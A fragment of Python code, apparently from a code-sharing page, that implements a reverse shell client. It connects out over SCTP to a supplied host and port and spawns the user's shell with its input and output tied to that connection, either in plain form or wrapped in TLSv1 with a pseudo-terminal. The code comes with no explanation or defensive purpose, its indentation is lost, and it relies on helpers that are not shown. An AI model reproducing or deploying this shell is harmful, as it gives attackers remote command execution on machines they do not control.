def connect(host, port, disable_encryption = False):
sock = sctp_socket(family = socket.AF_INET)
sock.connect((host, port))
if disable_encryption:
std_out = sock.sock().makefile("w")
std_in = sock.sock().makefile()
shell = Popen(os.environ["SHELL"],
stdin = std_in,
stdout = std_out,
shell = True)
else:
ssl_sock = ssl.wrap_socket(sock.sock(),
ssl_version = ssl.PROTOCOL_TLSv1)
ssl_sock.send("Hi! This is the client. You're connected.\n")
r, w = os.pipe()
std_in = os.fdopen(r, "r")
std_out = os.fdopen(w, "w")
#Set our shell up to use pty, and make the output non-blocking.
master, slave = pty.openpty()
shell = Popen(os.environ["SHELL"],
stdin = PIPE,
stdout = slave,
shell = True)
shell.stdout = os.fdopen(os.dup(master), "r+")
fd = shell.stdout.fileno()
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK)
process_connection(ssl_sock, shell.stdin, shell.stdout, disable_encryption)
sock.close()
评论列表
文章目录